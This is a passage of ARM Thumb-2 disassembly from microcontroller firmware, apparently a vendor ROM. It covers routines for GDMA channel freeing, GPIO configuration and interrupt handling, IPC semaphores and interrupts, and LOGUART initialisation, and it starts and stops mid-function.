6c51 ldr r1, [r2, #68] ; 0x44 10102504: f041 0108 orr.w r1, r1, #8 10102508: 6451 str r1, [r2, #68] ; 0x44 1010250a: 4a11 ldr r2, [pc, #68] ; (10102550 <GDMA_ChnlFree+0x78>) 1010250c: eb03 0343 add.w r3, r3, r3, lsl #1 10102510: eb02 0343 add.w r3, r2, r3, lsl #1 10102514: 5d5c ldrb r4, [r3, r5] 10102516: 4b0f ldr r3, [pc, #60] ; (10102554 <GDMA_ChnlFree+0x7c>) 10102518: 4620 mov r0, r4 1010251a: 4798 blx r3 1010251c: 4620 mov r0, r4 1010251e: 4b0e ldr r3, [pc, #56] ; (10102558 <GDMA_ChnlFree+0x80>) 10102520: 4798 blx r3 10102522: 4629 mov r1, r5 10102524: 4630 mov r0, r6 10102526: 4b0d ldr r3, [pc, #52] ; (1010255c <GDMA_ChnlFree+0x84>) 10102528: 4798 blx r3 1010252a: bd70 pop {r4, r5, r6, pc} 1010252c: b2e3 uxtb r3, r4 1010252e: e7ec b.n 1010250a <GDMA_ChnlFree+0x32> 10102530: f240 21d9 movw r1, #729 ; 0x2d9 10102534: 480a ldr r0, [pc, #40] ; (10102560 <GDMA_ChnlFree+0x88>) 10102536: f7fe f99b bl 10100870 <io_assert_failed> 1010253a: e7d5 b.n 101024e8 <GDMA_ChnlFree+0x10> 1010253c: f44f 7136 mov.w r1, #728 ; 0x2d8 10102540: 4807 ldr r0, [pc, #28] ; (10102560 <GDMA_ChnlFree+0x88>) 10102542: f7fe f995 bl 10100870 <io_assert_failed> 10102546: e7cd b.n 101024e4 <GDMA_ChnlFree+0xc> 10102548: 48006000 .word 0x48006000 1010254c: 101003f5 .word 0x101003f5 10102550: 101d4008 .word 0x101d4008 10102554: 101069d5 .word 0x101069d5 10102558: 10106af5 .word 0x10106af5 1010255c: 10102401 .word 0x10102401 10102560: 101d4fc4 .word 0x101d4fc4 10102564 <GDMA_GetIrqNum>: 10102564: b538 push {r3, r4, r5, lr} 10102566: 4b0c ldr r3, [pc, #48] ; (10102598 <GDMA_GetIrqNum+0x34>) 10102568: 460d mov r5, r1 1010256a: 691c ldr r4, [r3, #16] 1010256c: b968 cbnz r0, 1010258a <GDMA_GetIrqNum+0x26> 1010256e: 4b0b ldr r3, [pc, #44] ; (1010259c <GDMA_GetIrqNum+0x38>) 10102570: e843 f300 tt r3, r3 10102574: 025b lsls r3, r3, #9 10102576: bf4c ite mi 10102578: 2302 movmi r3, #2 1010257a: b2e3 uxtbpl r3, r4 1010257c: 4a08 ldr r2, [pc, #32] ; (101025a0 <GDMA_GetIrqNum+0x3c>) 1010257e: eb03 0343 add.w r3, r3, r3, lsl #1 10102582: eb02 0343 add.w r3, r2, r3, lsl #1 10102586: 5d58 ldrb r0, [r3, r5] 10102588: bd38 pop {r3, r4, r5, pc} 1010258a: f44f 713e mov.w r1, #760 ; 0x2f8 1010258e: 4805 ldr r0, [pc, #20] ; (101025a4 <GDMA_GetIrqNum+0x40>) 10102590: f7fe f96e bl 10100870 <io_assert_failed> 10102594: e7eb b.n 1010256e <GDMA_GetIrqNum+0xa> 10102596: bf00 nop 10102598: 48006000 .word 0x48006000 1010259c: 101003f5 .word 0x101003f5 101025a0: 101d4008 .word 0x101d4008 101025a4: 101d5010 .word 0x101d5010 101025a8 <GPIO_INTMode>: 101025a8: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 101025ac: 4e22 ldr r6, [pc, #136] ; (10102638 <GPIO_INTMode+0x90>) 101025ae: b2c5 uxtb r5, r0 101025b0: f3c0 1441 ubfx r4, r0, #5, #2 101025b4: 2901 cmp r1, #1 101025b6: f856 4024 ldr.w r4, [r6, r4, lsl #2] 101025ba: f005 071f and.w r7, r5, #31 101025be: d007 beq.n 101025d0 <GPIO_INTMode+0x28> 101025c0: 2201 movs r2, #1 101025c2: 6b23 ldr r3, [r4, #48] ; 0x30 101025c4: 40ba lsls r2, r7 101025c6: ea23 0302 bic.w r3, r3, r2 101025ca: 6323 str r3, [r4, #48] ; 0x30 101025cc: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 101025d0: 4698 mov r8, r3 101025d2: 4616 mov r6, r2 101025d4: 4628 mov r0, r5 101025d6: b31b cbz r3, 10102620 <GPIO_INTMode+0x78> 101025d8: 4b18 ldr r3, [pc, #96] ; (1010263c <GPIO_INTMode+0x94>) 101025da: 4798 blx r3 101025dc: 2e02 cmp r6, #2 101025de: f04f 0301 mov.w r3, #1 101025e2: d021 beq.n 10102628 <GPIO_INTMode+0x80> 101025e4: 40bb lsls r3, r7 101025e6: 43da mvns r2, r3 101025e8: 6ea1 ldr r1, [r4, #104] ; 0x68 101025ea: 4011 ands r1, r2 101025ec: 66a1 str r1, [r4, #104] ; 0x68 101025ee: 4619 mov r1, r3 101025f0: 6ba0 ldr r0, [r4, #56] ; 0x38 101025f2: 40be lsls r6, r7 101025f4: 4010 ands r0, r2 101025f6: 4306 orrs r6, r0 101025f8: 63a6 str r6, [r4, #56] ; 0x38 101025fa: 6be0 ldr r0, [r4, #60] ; 0x3c 101025fc: fa08 f507 lsl.w r5, r8, r7 10102600: ea00 0302 and.w r3, r0, r2 10102604: 432b orrs r3, r5 10102606: 63e3 str r3, [r4, #60] ; 0x3c 10102608: 6ca3 ldr r3, [r4, #72] ; 0x48 1010260a: 401a ands r2, r3 1010260c: 9b06 ldr r3, [sp, #24] 1010260e: 2b01 cmp r3, #1 10102610: bf08 it eq 10102612: 430a orreq r2, r1 10102614: 64a2 str r2, [r4, #72] ; 0x48 10102616: 6b23 ldr r3, [r4, #48] ; 0x30 10102618: 430b orrs r3, r1 1010261a: 6323 str r3, [r4, #48] ; 0x30 1010261c: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 10102620: 2102 movs r1, #2 10102622: 4b06 ldr r3, [pc, #24] ; (1010263c <GPIO_INTMode+0x94>) 10102624: 4798 blx r3 10102626: e7d9 b.n 101025dc <GPIO_INTMode+0x34> 10102628: fa03 f107 lsl.w r1, r3, r7 1010262c: 6ea3 ldr r3, [r4, #104] ; 0x68 1010262e: 430b orrs r3, r1 10102630: 43ca mvns r2, r1 10102632: 66a3 str r3, [r4, #104] ; 0x68 10102634: e7e1 b.n 101025fa <GPIO_INTMode+0x52> 10102636: bf00 nop 10102638: 101d401c .word 0x101d401c 1010263c: 10102f6d .word 0x10102f6d 10102640 <GPIO_INTConfig>: 10102640: 2301 movs r3, #1 10102642: 4a0c ldr r2, [pc, #48] ; (10102674 <GPIO_INTConfig+0x34>) 10102644: b410 push {r4} 10102646: f3c0 1441 ubfx r4, r0, #5, #2 1010264a: f852 2024 ldr.w r2, [r2, r4, lsl #2] 1010264e: f000 001f and.w r0, r0, #31 10102652: fa03 f000 lsl.w r0, r3, r0 10102656: 64d0 str r0, [r2, #76] ; 0x4c 10102658: 6b53 ldr r3, [r2, #52] ; 0x34 1010265a: b129 cbz r1, 10102668 <GPIO_INTConfig+0x28> 1010265c: ea23 0000 bic.w r0, r3, r0 10102660: 6350 str r0, [r2, #52] ; 0x34 10102662: f85d 4b04 ldr.w r4, [sp], #4 10102666: 4770 bx lr 10102668: 4318 orrs r0, r3 1010266a: 6350 str r0, [r2, #52] ; 0x34 1010266c: f85d 4b04 ldr.w r4, [sp], #4 10102670: 4770 bx lr 10102672: bf00 nop 10102674: 101d401c .word 0x101d401c 10102678 <GPIO_INTHandler>: 10102678: 4b24 ldr r3, [pc, #144] ; (1010270c <GPIO_INTHandler+0x94>) 1010267a: 4298 cmp r0, r3 1010267c: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 10102680: 6d06 ldr r6, [r0, #80] ; 0x50 10102682: 4681 mov r9, r0 10102684: f8d0 a040 ldr.w sl, [r0, #64] ; 0x40 10102688: f04f 0400 mov.w r4, #0 1010268c: d01e beq.n 101026cc <GPIO_INTHandler+0x54> 1010268e: 4d20 ldr r5, [pc, #128] ; (10102710 <GPIO_INTHandler+0x98>) 10102690: f8df 8088 ldr.w r8, [pc, #136] ; 1010271c <GPIO_INTHandler+0xa4> 10102694: f105 0780 add.w r7, r5, #128 ; 0x80 10102698: 2301 movs r3, #1 1010269a: 40a3 lsls r3, r4 1010269c: ea1a 0f03 tst.w sl, r3 101026a0: d00c beq.n 101026bc <GPIO_INTHandler+0x44> 101026a2: f855 2024 ldr.w r2, [r5, r4, lsl #2] 101026a6: 491b ldr r1, [pc, #108] ; (10102714 <GPIO_INTHandler+0x9c>) 101026a8: 00a0 lsls r0, r4, #2 101026aa: b13a cbz r2, 101026bc <GPIO_INTHandler+0x44> 101026ac: 421e tst r6, r3 101026ae: bf14 ite ne 101026b0: ea41 4104 orrne.w r1, r1, r4, lsl #16 101026b4: ea48 4104 orreq.w r1, r8, r4, lsl #16 101026b8: 5838 ldr r0, [r7, r0] 101026ba: 4790 blx r2 101026bc: 3401 adds r4, #1 101026be: 2c20 cmp r4, #32 101026c0: d1ea bne.n 10102698 <GPIO_INTHandler+0x20> 101026c2: f8c9 a04c str.w sl, [r9, #76] ; 0x4c 101026c6: 2000 movs r0, #0 101026c8: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 101026cc: f04f 0801 mov.w r8, #1 101026d0: 4d11 ldr r5, [pc, #68] ; (10102718 <GPIO_INTHandler+0xa0>) 101026d2: f105 0780 add.w r7, r5, #128 ; 0x80 101026d6: fa08 f304 lsl.w r3, r8, r4 101026da: ea1a 0f03 tst.w sl, r3 101026de: d00d beq.n 101026fc <GPIO_INTHandler+0x84> 101026e0: f855 2024 ldr.w r2, [r5, r4, lsl #2] 101026e4: 0421 lsls r1, r4, #16 101026e6: 00a0 lsls r0, r4, #2 101026e8: b142 cbz r2, 101026fc <GPIO_INTHandler+0x84> 101026ea: 421e tst r6, r3 101026ec: bf0a itet eq 101026ee: 0421 lsleq r1, r4, #16 101026f0: f041 0101 orrne.w r1, r1, #1 101026f4: f041 0102 orreq.w r1, r1, #2 101026f8: 5838 ldr r0, [r7, r0] 101026fa: 4790 blx r2 101026fc: 3401 adds r4, #1 101026fe: 2c20 cmp r4, #32 10102700: d1e9 bne.n 101026d6 <GPIO_INTHandler+0x5e> 10102702: f8c9 a04c str.w sl, [r9, #76] ; 0x4c 10102706: 2000 movs r0, #0 10102708: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 1010270c: 48014000 .word 0x48014000 10102710: 1000019c .word 0x1000019c 10102714: 00200001 .word 0x00200001 10102718: 1000009c .word 0x1000009c 1010271c: 00200002 .word 0x00200002 10102720 <GPIO_Direction>: 10102720: 4b0b ldr r3, [pc, #44] ; (10102750 <GPIO_Direction+0x30>) 10102722: f3c0 1241 ubfx r2, r0, #5, #2 10102726: f853 3022 ldr.w r3, [r3, r2, lsl #2] 1010272a: f000 001f and.w r0, r0, #31 1010272e: b131 cbz r1, 1010273e <GPIO_Direction+0x1e> 10102730: 2101 movs r1, #1 10102732: 685a ldr r2, [r3, #4] 10102734: fa01 f000 lsl.w r0, r1, r0 10102738: 4310 orrs r0, r2 1010273a: 6058 str r0, [r3, #4] 1010273c: 4770 bx lr 1010273e: 2101 movs r1, #1 10102740: 685a ldr r2, [r3, #4] 10102742: fa01 f000 lsl.w r0, r1, r0 10102746: ea22 0000 bic.w r0, r2, r0 1010274a: 6058 str r0, [r3, #4] 1010274c: 4770 bx lr 1010274e: bf00 nop 10102750: 101d401c .word 0x101d401c 10102754 <GPIO_Init>: 10102754: b530 push {r4, r5, lr} 10102756: 6803 ldr r3, [r0, #0] 10102758: 2b02 cmp r3, #2 1010275a: b083 sub sp, #12 1010275c: 4604 mov r4, r0 1010275e: d81d bhi.n 1010279c <GPIO_Init+0x48> 10102760: 4b1a ldr r3, [pc, #104] ; (101027cc <GPIO_Init+0x78>) 10102762: 2100 movs r1, #0 10102764: 7d20 ldrb r0, [r4, #20] 10102766: 4798 blx r3 10102768: 6823 ldr r3, [r4, #0] 1010276a: 2b02 cmp r3, #2 1010276c: d01b beq.n 101027a6 <GPIO_Init+0x52> 1010276e: 2300 movs r3, #0 10102770: 6960 ldr r0, [r4, #20] 10102772: 4619 mov r1, r3 10102774: 9300 str r3, [sp, #0] 10102776: 461a mov r2, r3 10102778: 4d15 ldr r5, [pc, #84] ; (101027d0 <GPIO_Init+0x7c>) 1010277a: 47a8 blx r5 1010277c: 6821 ldr r1, [r4, #0] 1010277e: 2901 cmp r1, #1 10102780: d020 beq.n 101027c4 <GPIO_Init+0x70> 10102782: b109 cbz r1, 10102788 <GPIO_Init+0x34> 10102784: b003 add sp, #12 10102786: bd30 pop {r4, r5, pc} 10102788: 6960 ldr r0, [r4, #20] 1010278a: 4b12 ldr r3, [pc, #72] ; (101027d4 <GPIO_Init+0x80>) 1010278c: 4798 blx r3 1010278e: 7921 ldrb r1, [r4, #4] 10102790: 7d20 ldrb r0, [r4, #20] 10102792: 4b11 ldr r3, [pc, #68] ; (101027d8 <GPIO_Init+0x84>) 10102794: b003 add sp, #12 10102796: e8bd 4030 ldmia.w sp!, {r4, r5, lr} 1010279a: 4718 bx r3 1010279c: 21fd movs r1, #253 ; 0xfd 1010279e: 480f ldr r0, [pc, #60] ; (101027dc <GPIO_Init+0x88>) 101027a0: f7fe f866 bl 10100870 <io_assert_failed> 101027a4: e7dc b.n 10102760 <GPIO_Init+0xc> 101027a6: 6960 ldr r0, [r4, #20] 101027a8: 2100 movs r1, #0 101027aa: 4b0a ldr r3, [pc, #40] ; (101027d4 <GPIO_Init+0x80>) 101027ac: 4798 blx r3 101027ae: 6921 ldr r1, [r4, #16] 101027b0: f104 0208 add.w r2, r4, #8 101027b4: 6960 ldr r0, [r4, #20] 101027b6: ca0c ldmia r2, {r2, r3} 101027b8: 4c05 ldr r4, [pc, #20] ; (101027d0 <GPIO_Init+0x7c>) 101027ba: 9100 str r1, [sp, #0] 101027bc: 2101 movs r1, #1 101027be: 47a0 blx r4 101027c0: b003 add sp, #12 101027c2: bd30 pop {r4, r5, pc} 101027c4: 6960 ldr r0, [r4, #20] 101027c6: 4b03 ldr r3, [pc, #12] ; (101027d4 <GPIO_Init+0x80>) 101027c8: 4798 blx r3 101027ca: e7db b.n 10102784 <GPIO_Init+0x30> 101027cc: 10102fb9 .word 0x10102fb9 101027d0: 101025a9 .word 0x101025a9 101027d4: 10102721 .word 0x10102721 101027d8: 10102f6d .word 0x10102f6d 101027dc: 101d50f0 .word 0x101d50f0 101027e0 <GPIO_DeInit>: 101027e0: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 101027e4: 2701 movs r7, #1 101027e6: b2c1 uxtb r1, r0 101027e8: f001 061f and.w r6, r1, #31 101027ec: 40b7 lsls r7, r6 101027ee: ea6f 0807 mvn.w r8, r7 101027f2: 4b13 ldr r3, [pc, #76] ; (10102840 <GPIO_DeInit+0x60>) 101027f4: f3c0 1441 ubfx r4, r0, #5, #2 101027f8: f853 5024 ldr.w r5, [r3, r4, lsl #2] 101027fc: 686a ldr r2, [r5, #4] 101027fe: ea02 0208 and.w r2, r2, r8 10102802: 4608 mov r0, r1 10102804: 4b0f ldr r3, [pc, #60] ; (10102844 <GPIO_DeInit+0x64>) 10102806: 606a str r2, [r5, #4] 10102808: 2100 movs r1, #0 1010280a: 4798 blx r3 1010280c: 6b2b ldr r3, [r5, #48] ; 0x30 1010280e: ea08 0303 and.w r3, r8, r3 10102812: 632b str r3, [r5, #48] ; 0x30 10102814: 64ef str r7, [r5, #76] ; 0x4c 10102816: b14c cbz r4, 1010282c <GPIO_DeInit+0x4c> 10102818: 2200 movs r2, #0 1010281a: 4b0b ldr r3, [pc, #44] ; (10102848 <GPIO_DeInit+0x68>) 1010281c: eb03 0386 add.w r3, r3, r6, lsl #2 10102820: f8c3 2100 str.w r2, [r3, #256] ; 0x100 10102824: f8c3 2180 str.w r2, [r3, #384] ; 0x180 10102828: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 1010282c: 4b06 ldr r3, [pc, #24] ; (10102848 <GPIO_DeInit+0x68>) 1010282e: eb03 0286 add.w r2, r3, r6, lsl #2 10102832: f843 4026 str.w r4, [r3, r6, lsl #2] 10102836: f8c2 4080 str.w r4, [r2, #128] ; 0x80 1010283a: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 1010283e: bf00 nop 10102840: 101d401c .word 0x101d401c 10102844: 10102f6d .word 0x10102f6d 10102848: 1000009c .word 0x1000009c 1010284c <GPIO_ReadDataBit>: 1010284c: 2301 movs r3, #1 1010284e: 4a07 ldr r2, [pc, #28] ; (1010286c <GPIO_ReadDataBit+0x20>) 10102850: f3c0 1141 ubfx r1, r0, #5, #2 10102854: f852 2021 ldr.w r2, [r2, r1, lsl #2] 10102858: f000 001f and.w r0, r0, #31 1010285c: 6d12 ldr r2, [r2, #80] ; 0x50 1010285e: fa03 f000 lsl.w r0, r3, r0 10102862: 4210 tst r0, r2 10102864: bf14 ite ne 10102866: 4618 movne r0, r3 10102868: 2000 moveq r0, #0 1010286a: 4770 bx lr 1010286c: 101d401c .word 0x101d401c 10102870 <GPIO_WriteBit>: 10102870: 4b0a ldr r3, [pc, #40] ; (1010289c <GPIO_WriteBit+0x2c>) 10102872: f3c0 1241 ubfx r2, r0, #5, #2 10102876: f853 2022 ldr.w r2, [r3, r2, lsl #2] 1010287a: f000 001f and.w r0, r0, #31 1010287e: 6813 ldr r3, [r2, #0] 10102880: b129 cbz r1, 1010288e <GPIO_WriteBit+0x1e> 10102882: 2101 movs r1, #1 10102884: fa01 f000 lsl.w r0, r1, r0 10102888: 4303 orrs r3, r0 1010288a: 6013 str r3, [r2, #0] 1010288c: 4770 bx lr 1010288e: 2101 movs r1, #1 10102890: fa01 f000 lsl.w r0, r1, r0 10102894: ea23 0300 bic.w r3, r3, r0 10102898: 6013 str r3, [r2, #0] 1010289a: 4770 bx lr 1010289c: 101d401c .word 0x101d401c 101028a0 <GPIO_PortDirection>: 101028a0: 4b07 ldr r3, [pc, #28] ; (101028c0 <GPIO_PortDirection+0x20>) 101028a2: f853 3020 ldr.w r3, [r3, r0, lsl #2] 101028a6: eb00 0040 add.w r0, r0, r0, lsl #1 101028aa: eb03 0080 add.w r0, r3, r0, lsl #2 101028ae: 6840 ldr r0, [r0, #4] 101028b0: b112 cbz r2, 101028b8 <GPIO_PortDirection+0x18> 101028b2: 4301 orrs r1, r0 101028b4: 6059 str r1, [r3, #4] 101028b6: 4770 bx lr 101028b8: ea20 0101 bic.w r1, r0, r1 101028bc: 6059 str r1, [r3, #4] 101028be: 4770 bx lr 101028c0: 101d401c .word 0x101d401c 101028c4 <GPIO_PortRead>: 101028c4: 4b02 ldr r3, [pc, #8] ; (101028d0 <GPIO_PortRead+0xc>) 101028c6: f853 3020 ldr.w r3, [r3, r0, lsl #2] 101028ca: 6d18 ldr r0, [r3, #80] ; 0x50 101028cc: 4770 bx lr 101028ce: bf00 nop 101028d0: 101d401c .word 0x101d401c 101028d4 <GPIO_PortWrite>: 101028d4: 4b04 ldr r3, [pc, #16] ; (101028e8 <GPIO_PortWrite+0x14>) 101028d6: f853 3020 ldr.w r3, [r3, r0, lsl #2] 101028da: 6818 ldr r0, [r3, #0] 101028dc: 4042 eors r2, r0 101028de: 4011 ands r1, r2 101028e0: ea80 0201 eor.w r2, r0, r1 101028e4: 601a str r2, [r3, #0] 101028e6: 4770 bx lr 101028e8: 101d401c .word 0x101d401c 101028ec <GPIO_UserRegIrq>: 101028ec: f010 0f60 tst.w r0, #96 ; 0x60 101028f0: b410 push {r4} 101028f2: 4b0b ldr r3, [pc, #44] ; (10102920 <GPIO_UserRegIrq+0x34>) 101028f4: f000 041f and.w r4, r0, #31 101028f8: d008 beq.n 1010290c <GPIO_UserRegIrq+0x20> 101028fa: eb03 0384 add.w r3, r3, r4, lsl #2 101028fe: f8c3 1100 str.w r1, [r3, #256] ; 0x100 10102902: f8c3 2180 str.w r2, [r3, #384] ; 0x180 10102906: f85d 4b04 ldr.w r4, [sp], #4 1010290a: 4770 bx lr 1010290c: eb03 0084 add.w r0, r3, r4, lsl #2 10102910: f843 1024 str.w r1, [r3, r4, lsl #2] 10102914: f8c0 2080 str.w r2, [r0, #128] ; 0x80 10102918: f85d 4b04 ldr.w r4, [sp], #4 1010291c: 4770 bx lr 1010291e: bf00 nop 10102920: 1000009c .word 0x1000009c 10102924 <IPC_INTConfig>: 10102924: 2a01 cmp r2, #1 10102926: d004 beq.n 10102932 <IPC_INTConfig+0xe> 10102928: 2201 movs r2, #1 1010292a: fa02 f101 lsl.w r1, r2, r1 1010292e: 6041 str r1, [r0, #4] 10102930: 4770 bx lr 10102932: 408a lsls r2, r1 10102934: 6002 str r2, [r0, #0] 10102936: 4770 bx lr 10102938 <IPC_IERSet>: 10102938: 6001 str r1, [r0, #0] 1010293a: 4770 bx lr 1010293c <IPC_IERGet>: 1010293c: 69c0 ldr r0, [r0, #28] 1010293e: 4770 bx lr 10102940 <IPC_INTRequest>: 10102940: 2301 movs r3, #1 10102942: fa03 f101 lsl.w r1, r3, r1 10102946: 6081 str r1, [r0, #8] 10102948: 4770 bx lr 1010294a: bf00 nop 1010294c <IPC_INTClear>: 1010294c: 2301 movs r3, #1 1010294e: fa03 f101 lsl.w r1, r3, r1 10102952: 60c1 str r1, [r0, #12] 10102954: 4770 bx lr 10102956: bf00 nop 10102958 <IPC_INTGet>: 10102958: 6940 ldr r0, [r0, #20] 1010295a: 4770 bx lr 1010295c <IPC_CPUID>: 1010295c: 4b01 ldr r3, [pc, #4] ; (10102964 <IPC_CPUID+0x8>) 1010295e: 6918 ldr r0, [r3, #16] 10102960: 4770 bx lr 10102962: bf00 nop 10102964: 48006000 .word 0x48006000 10102968 <IPC_SEMGet>: 10102968: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 1010296c: 4b0f ldr r3, [pc, #60] ; (101029ac <IPC_SEMGet+0x44>) 1010296e: 2501 movs r5, #1 10102970: 461c mov r4, r3 10102972: 691e ldr r6, [r3, #16] 10102974: fa00 f705 lsl.w r7, r0, r5 10102978: f8df 8038 ldr.w r8, [pc, #56] ; 101029b4 <IPC_SEMGet+0x4c> 1010297c: 40ae lsls r6, r5 1010297e: 40bd lsls r5, r7 10102980: 69a3 ldr r3, [r4, #24] 10102982: 422b tst r3, r5 10102984: d1fc bne.n 10102980 <IPC_SEMGet+0x18> 10102986: 61a5 str r5, [r4, #24] 10102988: 69a3 ldr r3, [r4, #24] 1010298a: 40fb lsrs r3, r7 1010298c: f003 0302 and.w r3, r3, #2 10102990: 429e cmp r6, r3 10102992: d008 beq.n 101029a6 <IPC_SEMGet+0x3e> 10102994: f8d8 3008 ldr.w r3, [r8, #8] 10102998: 015b lsls r3, r3, #5 1010299a: d5f1 bpl.n 10102980 <IPC_SEMGet+0x18> 1010299c: 4631 mov r1, r6 1010299e: 4804 ldr r0, [pc, #16] ; (101029b0 <IPC_SEMGet+0x48>) 101029a0: f7fd fd28 bl 101003f4 <DiagPrintf> 101029a4: e7ec b.n 10102980 <IPC_SEMGet+0x18> 101029a6: 2001 movs r0, #1 101029a8: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 101029ac: 48006000 .word 0x48006000 101029b0: 101d43bc .word 0x101d43bc 101029b4: 1000000c .word 0x1000000c 101029b8 <IPC_SEMFree>: 101029b8: b538 push {r3, r4, r5, lr} 101029ba: 4c15 ldr r4, [pc, #84] ; (10102a10 <IPC_SEMFree+0x58>) 101029bc: 6921 ldr r1, [r4, #16] 101029be: 69a3 ldr r3, [r4, #24] 101029c0: 0045 lsls r5, r0, #1 101029c2: 40eb lsrs r3, r5 101029c4: 4602 mov r2, r0 101029c6: 07d8 lsls r0, r3, #31 101029c8: ea4f 0141 mov.w r1, r1, lsl #1 101029cc: d405 bmi.n 101029da <IPC_SEMFree+0x22> 101029ce: 4b11 ldr r3, [pc, #68] ; (10102a14 <IPC_SEMFree+0x5c>) 101029d0: 681b ldr r3, [r3, #0] 101029d2: 015b lsls r3, r3, #5 101029d4: d40b bmi.n 101029ee <IPC_SEMFree+0x36> 101029d6: 2001 movs r0, #1 101029d8: bd38 pop {r3, r4, r5, pc} 101029da: f003 0002 and.w r0, r3, #2 101029de: 4281 cmp r1, r0 101029e0: d00b beq.n 101029fa <IPC_SEMFree+0x42> 101029e2: 480c ldr r0, [pc, #48] ; (10102a14 <IPC_SEMFree+0x5c>) 101029e4: 6804 ldr r4, [r0, #0] 101029e6: f014 6080 ands.w r0, r4, #67108864 ; 0x4000000 101029ea: d10b bne.n 10102a04 <IPC_SEMFree+0x4c> 101029ec: bd38 pop {r3, r4, r5, pc} 101029ee: 0849 lsrs r1, r1, #1 101029f0: 4809 ldr r0, [pc, #36] ; (10102a18 <IPC_SEMFree+0x60>) 101029f2: f7fd fcff bl 101003f4 <DiagPrintf> 101029f6: 2001 movs r0, #1 101029f8: bd38 pop {r3, r4, r5, pc} 101029fa: 2001 movs r0, #1 101029fc: fa00 f505 lsl.w r5, r0, r5 10102a00: 61a5 str r5, [r4, #24] 10102a02: bd38 pop {r3, r4, r5, pc} 10102a04: 0849 lsrs r1, r1, #1 10102a06: 4805 ldr r0, [pc, #20] ; (10102a1c <IPC_SEMFree+0x64>) 10102a08: f7fd fcf4 bl 101003f4 <DiagPrintf> 10102a0c: 2000 movs r0, #0 10102a0e: bd38 pop {r3, r4, r5, pc} 10102a10: 48006000 .word 0x48006000 10102a14: 1000000c .word 0x1000000c 10102a18: 101d43f0 .word 0x101d43f0 10102a1c: 101d4434 .word 0x101d4434 10102a20 <IPC_INTHandler>: 10102a20: e92d 47f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, lr} 10102a24: 4681 mov r9, r0 10102a26: 2400 movs r4, #0 10102a28: 2701 movs r7, #1 10102a2a: f8df 8030 ldr.w r8, [pc, #48] ; 10102a5c <IPC_INTHandler+0x3c> 10102a2e: 6945 ldr r5, [r0, #20] 10102a30: f108 0a80 add.w sl, r8, #128 ; 0x80 10102a34: fa07 f304 lsl.w r3, r7, r4 10102a38: 421d tst r5, r3 10102a3a: d009 beq.n 10102a50 <IPC_INTHandler+0x30> 10102a3c: f858 6024 ldr.w r6, [r8, r4, lsl #2] 10102a40: b136 cbz r6, 10102a50 <IPC_INTHandler+0x30> 10102a42: f8c9 300c str.w r3, [r9, #12] 10102a46: 4622 mov r2, r4 10102a48: 4629 mov r1, r5 10102a4a: f85a 0024 ldr.w r0, [sl, r4, lsl #2] 10102a4e: 47b0 blx r6 10102a50: 3401 adds r4, #1 10102a52: 2c20 cmp r4, #32 10102a54: d1ee bne.n 10102a34 <IPC_INTHandler+0x14> 10102a56: 2000 movs r0, #0 10102a58: e8bd 87f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, pc} 10102a5c: 1000029c .word 0x1000029c 10102a60 <IPC_INTUserHandler>: 10102a60: b470 push {r4, r5, r6} 10102a62: 4c0b ldr r4, [pc, #44] ; (10102a90 <IPC_INTUserHandler+0x30>) 10102a64: 4d0b ldr r5, [pc, #44] ; (10102a94 <IPC_INTUserHandler+0x34>) 10102a66: eb04 0680 add.w r6, r4, r0, lsl #2 10102a6a: 692b ldr r3, [r5, #16] 10102a6c: f8c6 2080 str.w r2, [r6, #128] ; 0x80 10102a70: f844 1020 str.w r1, [r4, r0, lsl #2] 10102a74: b131 cbz r1, 10102a84 <IPC_INTUserHandler+0x24> 10102a76: b2db uxtb r3, r3 10102a78: 2b01 cmp r3, #1 10102a7a: d005 beq.n 10102a88 <IPC_INTUserHandler+0x28> 10102a7c: 2301 movs r3, #1 10102a7e: 4a06 ldr r2, [pc, #24] ; (10102a98 <IPC_INTUserHandler+0x38>) 10102a80: 4083 lsls r3, r0 10102a82: 6013 str r3, [r2, #0] 10102a84: bc70 pop {r4, r5, r6} 10102a86: 4770 bx lr 10102a88: 4083 lsls r3, r0 10102a8a: 602b str r3, [r5, #0] 10102a8c: bc70 pop {r4, r5, r6} 10102a8e: 4770 bx lr 10102a90: 1000029c .word 0x1000029c 10102a94: 48006000 .word 0x48006000 10102a98: 40006000 .word 0x40006000 10102a9c <LOGUART_StructInit>: 10102a9c: 2300 movs r3, #0 10102a9e: 2201 movs r2, #1 10102aa0: 6003 str r3, [r0, #0] 10102aa2: 6083 str r3, [r0, #8] 10102aa4: 60c3 str r3, [r0, #12] 10102aa6: 6103 str r3, [r0, #16] 10102aa8: 6143 str r3, [r0, #20] 10102aaa: 6183 str r3, [r0, #24] 10102aac: 61c3 str r3, [r0, #28] 10102aae: 6042 str r2, [r0, #4] 10102ab0: 6202 str r2, [r0, #32] 10102ab2: 4770 bx lr 10102ab4 <LOGUART_Init>: 10102ab4: b510 push {r4, lr} 10102ab6: 4c0a ldr r4, [pc, #40] ; (10102ae0 <LOGUART_Init+0x2c>) 10102ab8: 4601 mov r1, r0 10102aba: 4b0a ldr r3, [pc, #40] ; (10102ae4 <LOGUART_Init+0x30>) 10102abc: 4620 mov r0, r4 10102abe: 4798 blx r3 10102ac0: 4620 mov r0, r4 10102ac2: f44f 31e1 mov.w r1, #115200 ; 0x1c200 10102ac6: 4b08 ldr r3, [pc, #32] ; (10102ae8 <LOGUART_Init+0x34>) 10102ac8: 4798 blx r3 10102aca: 2201 movs r2, #1 10102acc: 4620 mov r0, r4 10102ace: 4611 mov r1, r2 10102ad0: 4b06 ldr r3, [pc, #24] ; (10102aec <LOGUART_Init+0x38>) 10102ad2: 4798 blx r3 10102ad4: 4620 mov r0, r4 10102ad6: 2101 movs r1, #1 10102ad8: 4b05 ldr r3, [pc, #20] ; (10102af0 <LOGUART_Init+0x3c>) 